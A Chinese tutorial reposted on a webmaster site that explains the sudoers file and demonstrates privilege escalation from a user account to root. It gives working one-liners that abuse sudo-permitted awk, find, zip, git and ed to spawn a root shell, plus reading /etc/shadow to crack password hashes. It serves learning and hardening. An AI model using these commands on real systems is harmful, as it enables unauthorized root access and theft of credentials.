加入收藏 | 设为首页 | 会员中心 | 我要投稿 威海站长网 (https://www.0631zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Unix > 正文

Linux之sudo滥用提权

发布时间:2022-10-17 14:31:12 所属栏目:Unix 来源:互联网
导读:
关于sudo
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有

关于sudo

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。

是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。

当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。

在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图

Sudoer文件语法

vim /etc/sudoers

1. 给用户赋予全部root权限

找到root权限root ALL=(ALL:ALL) ALL,在下一行输入" test ALL(ALL:ALL) ALL ",保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。即此时test用户相当于root了

2. 给用户赋予部分能够运行的命令权限

hacker用户就能使用awk命令了

3. 查看用户能以root权限运行的命令

sudo -l

sudo提权命令

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen

1. 添加部分命令用于测试sudo提权

vim /etc/sudoers
hacker ALL=(root) NOPASSWD: /usr/bin/awk
hacker ALL=(root) NOPASSWD: /usr/bin/vim
hacker ALL=(root) NOPASSWD: /usr/bin/man
hacker ALL=(root) NOPASSWD: /usr/bin/apache2
hacker ALL=(root) NOPASSWD: /usr/bin/less
hacker ALL=(root) NOPASSWD: /bin/more
hacker ALL=(root) NOPASSWD: /usr/bin/find
hacker ALL=(root) NOPASSWD: /usr/bin/zip
hacker ALL=(root) NOPASSWD: /usr/bin/git

假设获取了一个普通用户hacker的权限,接着利用sudo进行提权

awk

1. 查看sudo -l

显示了允许当前用户使用的命令,如下发现了可以以root权限执行awk命令并且不需要密码

2. 权限提升

执行下面代码直接切换到root用户了,无需密码

sudo awk 'BEGIN{system("/bin/bash")}'

find

find 命令用来在指定目录下查找文件,这里使用“exec”来执行/bin/bash,以访问root shell

sudo find /home -exec /bin/bash \;

cat

cat 命令用户连接文件并打印到标准输出设备上。在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解

sudo cat /etc/shadow

这就不演示了

zip

zip 命令用于压缩文件,是个 使用广泛的压缩程序UNIX 文件权限,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell

1. 下载zip(如果没有)

apt install zip

2. 创建一个1.txt,将其压缩为1.zip

3. 执行

sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"

git

输入

sudo git help add

回车如下输入 !/bin/bash

获取root权限

ed

sudo ed

!/bin/sh

其他都类似~~

原文链接:

(编辑:威海站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!